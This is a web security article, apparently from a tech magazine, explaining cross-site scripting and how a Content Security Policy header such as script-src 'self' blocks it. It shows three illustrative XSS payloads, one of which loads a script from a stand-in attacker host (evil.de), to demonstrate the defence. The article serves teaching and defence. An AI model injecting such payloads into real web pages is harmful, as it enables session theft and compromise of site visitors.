Web security: With content security policy against cross-site scripting, part 1

XSS vulnerabilities are still a gateway for numerous attacks on the web. A content security policy helps to defend against them.

Save to Pocket listen Print view
Two traffic lights against a cloudy evening sky.

(Image: monticello/Shutterstock.com)

14 min. read
By
  • Martina Kraus
Contents

Cross-site scripting (XSS) remains a serious threat, even though the most commonly used front-end frameworks come with many security functions as standard. Frameworks such as React or Angular offer mechanisms by default to minimize the risk, but improper implementations or the integration of external libraries can cause security vulnerabilities. Developers must therefore not rely solely on these tools, but must continue to program with security in mind and take additional defensive measures to effectively prevent XSS.

Martina Kraus

Martina Kraus beschäftigt sich schon seit frühen Jahren mit der Webentwicklung. Das Umsetzen großer Softwarelösungen in Node.js und Angular hat sie schon immer begeistert. Als selbstständige Softwareentwicklerin arbeitet sie vornehmlich mit Angular mit Schwerpunkt auf Sicherheit in Webanwendungen.

Attackers are constantly discovering new methods to identify XSS vulnerabilities and inject malicious code into trusted websites. Because of the ongoing threat, development and security teams need to regularly update their best practices and continuously implement advanced protection mechanisms such as the Content Security Policy (CSP).

CSP plays a central role in protecting against XSS because it tells browsers exactly what external content they are allowed to load. This article shows the use of CSP as part of a multi-layered security strategy to prevent XSS attacks and secure the web application.

Cross-site scripting is a common security vulnerability in web applications. It makes it possible to embed malicious code – usually in the form of JavaScript – into the pages of a trustworthy website. When the page is called up, the browser executes the injected code unnoticed. The attack is based on the fact that the browser cannot distinguish between legitimate scripts from the server and malicious scripts from the attackers.

An attack typically proceeds as follows:

  1. Identifying a vulnerability: the attacker specifically looks for opportunities to inject malicious code into the web application. This is often done via input fields, for example for comments, user names or search queries.
  2. Injecting code: Once the attacker has discovered a vulnerability, he inserts the malicious code into the web application. This can be done by direct input in forms or indirectly via links that contain the code in the URL and are sent to unsuspecting users.
  3. Execution of the malicious code: If an unsuspecting victim accesses the page, the malicious code runs in their browser. The attacker can then change the displayed content, redirect the browser to a malicious website or access cookies to assume the victim's identity, among other things.

Depending on where the malicious code is stored and executed, a distinction is made between server-side XSS and client-side XSS. With the former, the malicious code is stored on the server and displayed to every user who accesses the affected page. Client-side XSS is an attack via changes to the DOM (Document Object Model) of the page in the victim's browser, without the client having to receive the affected data from a server.

The following example assumes that a web application contains an XSS vulnerability. To exploit such a vulnerability, the attacker can use different payloads. The following code snippet lists some different options:

//index.html 
<!-- 1. Inline code --> 
<img src="unknown.png" onerror="maliciousCode()"> 

<!-- 2. Code block --> 
<script>executeBadAttack()</script> 

<!-- 3. Remote code file --> 
<script src="https://evil.de/attack.js"></script> 

The first version of the Content Security Policy was published in 2010. Mozilla developers described the measure in detail in a scientific article. They explained how developers can define security policies to tell the browser exactly which resources a web application is allowed to load.

Although the idea behind CSP met with an extremely positive response, it turned out that controlling the loading of resources in modern applications is more complex than originally assumed. Nevertheless, CSP is continuously being developed and thus remains an important security measure.

A central role of modern CSP policies is to serve as a second line of defense against XSS vulnerabilities. However, it is only effective if the application thoroughly sanitizes user input in the first place. Given the fact that almost any web application can become vulnerable to XSS at some point despite good security precautions, the question arises as to how the CSP policy can prevent the attacker from exploiting the vulnerability.

The Content Security Policy aims to prevent various attack vectors. To this end, CSP imposes strict restrictions on the execution of script code. The following excerpt shows a CSP header with a minimal configuration:

Content-Security-Policy: script-src 'self'

A CSP policy always consists of two components: the directives and the associated values. Directives determine which types of resources such as scripts, stylesheets, images or frames may be loaded from which sources. The directives include script-src as in the example above, style-src, img-src, and frame-src. The script-src directive is essential for protection against JavaScript injection attacks.

Each directive can specify one or more values that determine where content may be loaded from. Sources can be URLs, keywords such as 'self' (your own domain) or 'none' (completely blocks the loading of resources of this type).

The server inserts the CSP header into the HTTP response with the HTML page for the browser. The policy configuration script-src 'self' tells the browser that this page may only execute scripts that come from its own origin. It also specifies that it is forbidden to execute inline JavaScript code on this HTML page.

CSP can ensure that only JavaScript code from the same site from which the application originates may be executed (Fig. 1).

(Image: Martina Kraus)

The example in Figure 1 shows an application that runs on https://my-site (1). With the CSP header set, the browser may only execute loaded JavaScript files that originate from the same site https://my-site (2). Even if everything else is blocked, the policy also explicitly excludes the execution of the JavaScript file https://evil.de/attack.js (3).

What does this mean for the attack vectors shown above?

The first attack via <img src="unknown.png" onerror="maliciousCode()"> is based on executing JavaScript malicious code when the browser tries to load an image that cannot be found. Even if the code is present on the page, the browser will not execute inline JavaScript code because of the CSP rule script-src 'self'.

Blocking code execution also protects against the second attack vector, which attempts to directly execute maliciously injected JavaScript code with <script>executeBadAttack()</script>.

Finally, the attack attempts to load a JavaScript file from https://evil.de via <script src="https://evil.de/attack.js"></script>. As https://evil.de does not correspond to the origin of the application, the browser will refuse to load this file. CSP therefore completely blocks the execution of potentially dubious JavaScript code.

The browser displays an error message when the CSP is violated (Fig. 2).

(Image: Screenshot (Martina Kraus))

Unfortunately, this also means that valid inline JavaScript code of the application will also not be executed. As this is often the case, the CSP rules shown so far are not practicable.

This is where the 2016 Content Security Policy Level 2 comes into play. It aims to improve compatibility with practical applications without compromising security. CSP Level 2 introduces two new mechanisms: Hashes and Nonces.

Don't miss any news – follow us on Facebook, LinkedIn or Mastodon.

This article was originally published in German. It was translated with technical assistance and editorially reviewed before publication.